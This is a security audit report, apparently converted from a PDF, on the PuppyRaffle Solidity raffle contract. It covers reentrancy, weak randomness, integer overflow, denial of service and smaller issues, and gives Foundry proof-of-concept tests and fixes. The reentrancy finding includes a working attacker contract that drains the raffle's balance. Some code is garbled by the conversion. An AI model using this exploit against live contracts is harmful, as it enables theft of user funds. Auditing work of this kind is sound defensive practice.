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Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

- 1. Call the enterRaffle function with the following parameters:
 - 1. address[] participants: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
- 2. Duplicate addresses are not allowed
- 3. Users are allowed to get a refund of their ticket & value if they call the refund function

- 4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
- 5. The owner of the protocol will set a feeAddress to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The lead auditor Cosmin makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	Н	H/M	М
Likelihood	Medium	H/M	М	M/L
	Low	М	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

Scope

./src/ – PuppyRaffle.sol

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function. Player - Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.

Executive Summary

Conducting the audit of this codebase has been an enriching professional journey, significantly broadening my expertise in identifying smart contract vulnerabilities, devising effective remediation strategies, and authoring proof-of-concept code to illustrate each flaw clearly. Throughout this engagement, I refined my ability to detect security weaknesses, implement robust fixes, and develop concise, reproducible test cases that validate every discovered issue.

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	6
Gas	2
Total	15

Findings

High

[H-1] State change after an external call can lead to an Reentrancy Attack, draining all of the contract's funds

IMPACT: HIGH LIKELIHOOD: HIGH

Description: The PuppyRaffle: refund function is vulnerable to a classic reentrancy attack (SWC-107), allowing an attacker to drain all contract funds by re-entering the refund logic before the state is updated. This violates the Checks-Effects-Interactions (CEI) pattern and the principle of updating state before external calls.

The issue happens in the following context:

```
function refund(uint256 playerIndex) public {
       address playerAddress = players[playerIndex];
       require(playerAddress == msg.sender, "Only the player can refund");
3
       require(playerAddress != address(0), "Already refunded");
4
5
6
       // Interaction: external call
7
       @>payable(msg.sender).sendValue(entranceFee);
8
       // Effect: state change after external call
9
       @>players[playerIndex] = address(0);
10
11
       emit RaffleRefunded(playerAddress);
12 }
```

The lines that I have highlighted are the ones that can lead to the aformentioned attack. We define it as follows:

```
1 Let's say that contract A calls contract B.
2
3 Reentrancy exploit allows B to call back into A before A finishes execution
```

Impact: A potential attacker could drain all of the contract's funds. **Proof of Concept:**

Let's consider the following test and helper contract:

Code

```
function test_reentrancyRefund() public {
1
           // users entering raffle
2
3
           address[] memory players = new address[](4);
4
           players[0] = player0ne;
5
           players[1] = playerTwo;
6
           players[2] = playerThree;
7
           players[3] = playerFour;
           puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9
10
           // create attack contract and user
           ReentrancyAttacker attackerContract = new ReentrancyAttacker(
11
12
               puppyRaffle
13
           );
14
           address attacker = makeAddr("attacker");
15
           vm.deal(attacker, 1 ether);
16
```

```
17
            // noting starting balances
18
            uint256 startingAttackContractBalance = address(
               attackerContract)
                .balance:
            uint256 startingPuppyRaffleBalance = address(puppyRaffle).
               balance;
21
22
            // attack
23
            vm.prank(attacker);
24
            attackerContract.attack{value: entranceFee}();
25
26
            // impact
            console.log(
27
                "attackerContract balance: ",
29
                startingAttackContractBalance
            );
31
            console.log("puppyRaffle balance: ", startingPuppyRaffleBalance
               );
32
            console.log(
                "ending attackerContract balance: ",
34
                address(attackerContract).balance
35
            );
            console.log(
37
                "ending puppyRaffle balance: ",
38
                address(puppyRaffle).balance
            );
40
       }
41 }
42
43 contract ReentrancyAttacker {
44
       PuppyRaffle puppyRaffle;
45
       uint256 entranceFee;
46
       uint256 attackerIndex;
47
       constructor(PuppyRaffle _puppyRaffle) {
48
            puppyRaffle = _puppyRaffle;
49
50
            entranceFee = puppyRaffle.entranceFee();
51
       }
52
        function attack() public payable {
53
54
            address[] memory players = new address[](1);
55
            players[0] = address(this);
            puppyRaffle.enterRaffle{value: entranceFee}(players);
56
57
            attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
58
            puppyRaffle.refund(attackerIndex);
59
       }
60
        function _stealMoney() internal {
            if (address(puppyRaffle).balance >= entranceFee) {
62
63
                puppyRaffle.refund(attackerIndex);
```

The test above shows the following:

- 1. User enters the raffle
- 2. Attacker sets up a contract with a fallback function that calls PuppyRaffle::refund
- 3. Attacker enters the raffle
- 4. Attacker calls PuppyRaffle: refund from their attack contract, draining the PuppyRaffle balance.

Recommended Mitigation:

1. Use the checks-effects-interactions pattern to avoid this issue.

```
function refund(uint256 playerIndex) public {
1
      // 1. Checks
2 +
3
        address playerAddress = players[playerIndex];
       require(playerAddress == msg.sender, "Only the player can refund");
require(playerAddress != address(0), "Already refunded");
4
5
6 +
       // 2. Effect
   + players[playerIndex] = address(0);
7
8 + emit RaffleRefunded(playerAddress);
9 + // 3. Interaction
10
        payable(msg.sender).sendValue(entranceFee);
        players[playerIndex] = address(0);
11 -
12 -
        emit RaffleRefunded(playerAddress);
13 }
```

1. Use a modifier, like the nonReentrant() modifier from OpenZeppelin Example Code:

```
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract PuppyRaffle is ReentrancyGuard {
    // ...
function refund(uint256 playerIndex) public nonReentrant {
    // function logic here
}
```

[H-2] Weak randomness in PuppyRaffle:: selectWinner allows users to influence and predict the winner of the raffle or predict the winning puppy

Description: Hashing on block.timestamp, msg.sender, and block.difficulty creates a predictable final number. It can be influenced by miners to some extent so they should be avoided.

Note: This additionally means users could front-run this function and call PuppyRaffle::refund if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the rarest puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles. **Proof of Concept:**

- 1. Validators can know the values of block.timestamp and block.difficulty ahead of time and usee that to predict when/how to participate. See the solidity blog on prevrandao. block.difficulty was recently replaced with prevrandao.
- 2. User can mine/manipulate their msg.sender value to result in their address being used to generate the winner!
- 3. Users can revert their selectWinner transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of PuppyRaffle::totalFees loses fees

Description: In solidity versions prior to 0.8.0 integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max
// 18446744073709551615
myVar = myVar + 1
// myVar will be 0
```

Impact: In PuppyRaffle::selectWinner, totalFees are accumulated for the feeAddress to collect later in PuppyRaffle::withdrawFees. However, if the totalFees variable overflows, the feeAddress may not collect the correct amount of fees, leaving fees permanently stuck in the contract

Proof of Code:

Add the following code to the test suite:

Test Integer Overflow

```
function test_integerOverflow() public playersEntered {
2
           // We finish a raffle of 4 to collect some fees
           vm.warp(block.timestamp + duration + 1);
3
           vm.roll(block.number + 1);
4
5
           puppyRaffle.selectWinner();
6
           uint256 startingTotalFees = puppyRaffle.totalFees();
7
           8
9
           // We then have 89 players enter a new raffle
           uint256 playersNum = 89;
11
           address[] memory players = new address[](playersNum);
           for (uint256 i = 0; i < playersNum; i++) {</pre>
               players[i] = address(i);
13
14
           puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
              players);
           // We end the raffle
           vm.warp(block.timestamp + duration + 1);
17
18
           vm.roll(block.number + 1);
19
           // And here is where the issue occurs
21
           // We will now have fewer fees even though we just finished a
              second raffle
22
           puppyRaffle.selectWinner();
23
24
           uint256 endingTotalFees = puppyRaffle.totalFees();
25
           console.log("ending total fees", endingTotalFees);
           assert(endingTotalFees < startingTotalFees);</pre>
27
           // We are also unable to withdraw any fees because of the
28
              require check
           vm.prank(puppyRaffle.feeAddress());
           vm.expectRevert("PuppyRaffle: There are currently players
              active!");
           puppyRaffle.withdrawFees();
31
32
       }
```

The following can be observed after looking at the code: 1. We conclude a raffle of 4 players 2. We then have 89 players enter a new raffle, and conclude the raffle 3. totalFees will be:

```
totalFees = totalFees + uint64(fee);

// substituted

totalFees = 8000000000000000 + 17800000000000000;

// due to overflow, the following is now the case

totalFees = 153255926290448384;
```

4. You will not be able to withdraw due to the line in PuppyRaffle::withdrawFees:

Although you could use selfdestruct to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

Recommended Mitigation: There are a few recommended mitigations here.

- 1. Use a newer version of Solidity that does not allow integer overflows by default. "'diff
 - pragma solidity ^0.7.6;
 - pragma solidity ^0.8.18; "Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin' sSafeMath' to prevent integer overflows.
- 2. Use a uint256 instead of a uint64 for total Fees. "'diff
 - uint64 public totalFees = 0;
 - uint256 public totalFees = 0; ""
- 3. Remove the balance check in PuppyRaffle::withdrawFees "'diff
 - require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); "' We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

Medium

[M-1] Looping through the players array to check for duplicates in PuppyRaffle::enterRaffle is a potential denial of service(DoS) attack, significantly increasing the gas costs for future entrants

IMPACT: MEDIUM LIKELIHOOD: MEDIUM

Description: The PuppyRaffle::enterRaffle function loops through the PuppyRaffle::players array to check for duplicates. However, the longer the PuppyRaffle::players array is, the more checks a new player will have to make. This results in a significant increase in gas costs, that would make the protocol esentially unusable. Hence, every additional address in the aformentioned array, means an additional check the loop will have to do.

Impact: The gas costs for new raffle entrants will greatly increase as more players try to join, therefore discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

Hypothetical scenario: An attacker might make the PuppyRaffle::players array so big, that no one else enters, easily making them the winner.

Proof of Concept:

Let's look at the following test:

Test Denial Of Service

```
function testDenialOfService() public {
2
           vm.txGasPrice(1);
3
           // First batch of 100 players
4
           uint256 numPlayers = 100;
5
           address[] memory players = new address[](numPlayers);
6
           for (uint256 i = 0; i < numPlayers; i++) {</pre>
7
8
                players[i] = address(i + 1);
9
           }
10
           uint256 gastStart = gasleft();
12
           puppyRaffle.enterRaffle{value: entranceFee * numPlayers}(
               players);
13
           uint256 gasEnd = gasleft();
14
15
           uint256 gasUsed = (gastStart - gasEnd) * tx.gasprice;
           console.log("Gas used: ", gasUsed);
16
17
           // Second batch of 100 players
18
19
           address[] memory players2 = new address[](numPlayers);
           for (uint256 i = 0; i < numPlayers; i++) {</pre>
20
                players2[i] = address(i + 101);
21
           }
23
24
           uint256 gasStart2 = gasleft();
25
           puppyRaffle.enterRaffle{value: entranceFee * numPlayers}(
               players2);
26
           uint256 gasEnd2 = gasleft();
           uint256 gasUsed2 = (gasStart2 - gasEnd2) * tx.gasprice;
27
28
           console.log("Gas used for the other batch of players: ",
               gasUsed2);
29
           assert(gasUsed2 > gasUsed);
       }
```

The test above shows us the following scenario:

- We have two sets of 100 players.
- For the first set of 100 players the gas cost will be the following \sim 6,523,172
- For the other batch of 100 players the gast cost will be almost triple the amount ~18,995,512.

Recommended Mitigation:

To solve such an issue I would advise the following:

- 1. Consider allowing duplicates. Users can make a new wallet address anyway, so a duplicate check doesn't prevent the same person from entering the raffle, only the same wallet address.
- 2. Consider using a mapping, which allows for constant time lookup of whether a user has already entered.

Code

```
mapping(address => uint256) public addressToRaffleId;
        uint256 public raffleId = 0;
3
4
5
6
       function enterRaffle(address[] memory newPlayers) public payable {
7
            require(msg.value == entranceFee * newPlayers.length, "
               PuppyRaffle: Must send enough to enter raffle");
8
           for (uint256 i = 0; i < newPlayers.length; i++) {</pre>
9
                players.push(newPlayers[i]);
10 +
                 addressToRaffleId[newPlayers[i]] = raffleId;
11
           }
12
13
            // Check for duplicates
14 +
           // Check for duplicates only from the new players
15 +
           for (uint256 i = 0; i < newPlayers.length; i++) {</pre>
               require(addressToRaffleId[newPlayers[i]] != raffleId, "
16 +
       PuppyRaffle: Duplicate player");
17
           }
            for (uint256 i = 0; i < players.length; i++) {</pre>
18 -
                 for (uint256 j = i + 1; j < players.length; j++) {</pre>
19
20 -
                     require(players[i] != players[j], "PuppyRaffle:
       Duplicate player");
21 -
22 -
            }
23
           emit RaffleEnter(newPlayers);
24
       }
25
26 .
27 .
       function selectWinner() external {
29 +
           raffleId = raffleId + 1;
            require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
```

3. Alternatively, you could use **OpenZeppelin's EnumerableSet library**.

[M-2] Unsafe cast of PuppyRaffle:: fee loses fees

Description: In PuppyRaffle::selectWinner their is a type cast of a uint256 to a uint64. This is an unsafe cast, and if the uint256 is larger than type (uint64).max, the value will be truncated.

```
function selectWinner() external {
           require(block.timestamp >= raffleStartTime + raffleDuration, "
              PuppyRaffle: Raffle not over");
           require(players.length > 0, "PuppyRaffle: No players in raffle"
3
              );
5
           uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
              sender, block.timestamp, block.difficulty))) % players.
              length;
           address winner = players[winnerIndex];
6
           uint256 fee = totalFees / 10;
7
           uint256 winnings = address(this).balance - fee;
8
9 @>
         totalFees = totalFees + uint64(fee);
         players = new address[](0);
10
          emit RaffleWinner(winner, winnings);
11
12
       }
```

The max value of a uint64 is 18446744073709551615. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the fee casting will truncate the value.

Impact: This means the feeAddress will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

- 1. A raffle proceeds with a little more than 18 ETH worth of fees collected
- 2. The line that casts the fee as a uint64 hits
- 3. totalFees is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
1 uint256 max = type(uint64).max
2 uint256 fee = max + 1
3 uint64(fee)
4 // prints 0
```

Recommended Mitigation: Set PuppyRaffle::totalFees to a uint256 instead of a uint64, and remove the casting. Their is a comment which says:

```
1 // We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
1 -
       uint64 public totalFees = 0;
2 +
       uint256 public totalFees = 0;
3.
4 .
5.
       function selectWinner() external {
6
           require(block.timestamp >= raffleStartTime + raffleDuration, "
              PuppyRaffle: Raffle not over");
           require(players.length >= 4, "PuppyRaffle: Need at least 4
8
              players");
9
           uint256 winnerIndex =
10
               uint256(keccak256(abi.encodePacked(msg.sender, block.
                  timestamp, block.difficulty))) % players.length;
11
           address winner = players[winnerIndex];
12
           uint256 totalAmountCollected = players.length * entranceFee;
           uint256 prizePool = (totalAmountCollected * 80) / 100;
13
           uint256 fee = (totalAmountCollected * 20) / 100;
14
          totalFees = totalFees + uint64(fee);
15 -
          totalFees = totalFees + fee;
16 +
```

[M-3] Smart Contract wallet raffle winners without a receive or a fallback will block the start of a new contest

Description: The PuppyRaffle::selectWinner function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The PuppyRaffle::selectWinner function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept:

- 1. 10 smart contract wallets enter the lottery without a fallback or receive function.
- 2. The lottery ends
- 3. The selectWinner function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

- 1. Do not allow smart contract wallet entrants (not recommended)
- 2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owners on the winner to claim their prize. (Recommended)

Low

[L-1] PuppyRaffle: getActivePlayerIndex returns 0 for non-existent players and for the player at index 0, causing the respective player to think that they might not have entered the raffle.

Description: If a player is in the PuppyRaffle::players array at index 0, this will return 0, but according to the natspec it will also return 0 for a player that does not appear in the array.

```
function getActivePlayerIndex(
            address player
3
       ) external view returns (uint256) {
4
            for (uint256 i = 0; i < players.length; i++) {</pre>
5
                if (players[i] == player) {
6
                    return i;
7
                }
8
9
            return 0;
10
       }
```

Impact: A player at index 0 might think that they might not have entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

- 1. User enters the raffle, they are the first entrant
- 2. PuppyRaffle::getActivePlayerIndex returns 0
- 3. User thinks they have not entered correctly due to the function documentation

Recommendations:

- 1. The easiest recommendation would be to revert if the player is not in the array instead of returning 0.
- 2. You could also reserve the 0th position for any competition, but an even better solution might be to return an int256 where the function returns -1 if the player is not active.

Informational

[I-1]: Unspecific Solidity Pragma

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of pragma solidity ^0.8.0; use pragma solidity 0.8.0;

1 Found Instances

• Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6;
```

[I-2]: Using an outdated version of Solidity is not recommended.

Please use a newer version of Solidity for example 0.8.20 or up.

Description solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

If there are any questions, please refference the following slither documentation related to **solc** versions.

[I-3]: Address State Variable Set Without Checks

Check for address (0) when assigning values to address state variables.

2 Found Instances

• Found in src/PuppyRaffle.sol Line: 62

```
1 feeAddress = _feeAddress;
```

• Found in src/PuppyRaffle.sol Line: 168

```
feeAddress = newFeeAddress;
```

[I-4] PuppyRaffle::selectWinner does not follow CEI(Checks-Effects-Interactions), which is not a best practice

It's best to keep code clean and follow CEI.

```
1 - (bool success,) = winner.call{value: prizePool}("");
2 - require(success, "PuppyRaffle: Failed to send prize pool to winner"
);
3     _safeMint(winner, tokenId);
4 + (bool success,) = winner.call{value: prizePool}("");
5 + require(success, "PuppyRaffle: Failed to send prize pool to winner"
);
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;

uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE)
/ POOL_PRECISION;
uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
POOL_PRECISION;
```

[I-6] State Changes are Missing Events

A lack of emitted events can often lead to difficulty of external or front-end systems to accurately track changes within a protocol.

It is best practice to emit an event whenever an action results in a state change.

Examples:

- PuppyRaffle::totalFees within the selectWinner function
- PuppyRaffle::raffleStartTime within the selectWinner function
- PuppyRaffle::totalFees within the withdrawFees function

Gas

[G-1] Unchanged State Variables should be set to constant or immutable

Description Reading from storage is significantly more expensive than reading from a constant or immutable variable.

Found Instances

• Found in src/PuppyRaffle.sol Line: 40

```
string private commonImageUri = "ipfs://
QmSsYRx3LpDAb1GZQm7zZ1AuHZjfbPkD6J7s9r41xu1mf8";
```

• Found in src/PuppyRaffle.sol Line: 46

```
string private rareImageUri = "ipfs://
QmUPjADFGEKmfohdTaNcWhp7VGk26h5jXDA7v3VtTnTLcW";
```

• Found in src/PuppyRaffle.sol Line: 52

-Found in src/PuppyRaffle.sol [Line: 25] (src/PuppyRaffle.sol#L25)

[G-2]: Storage variables in a loop should be cached

```
1 +
          uint256 playersLength= players.length;
          for (uint256 i = 0; i < players.length - 1; i++)</pre>
2
3 +
           for (uint256 i = 0; i < playersLength - 1; i++)</pre>
4
   {
5 -
           for (uint256 j = i + 1; j < players.length; j++)</pre>
           for (uint256 j = i + 1; j < playersLength - 1; j++)
   +
6
7
    {
                    require(
8
9
                         players[i] != players[j],
10
                         "PuppyRaffle: Duplicate player"
11
                    );
12
                }
13
            }
```

Description

Everytime you call players.length you read from storage, as opposed to memory, which is more gas efficient.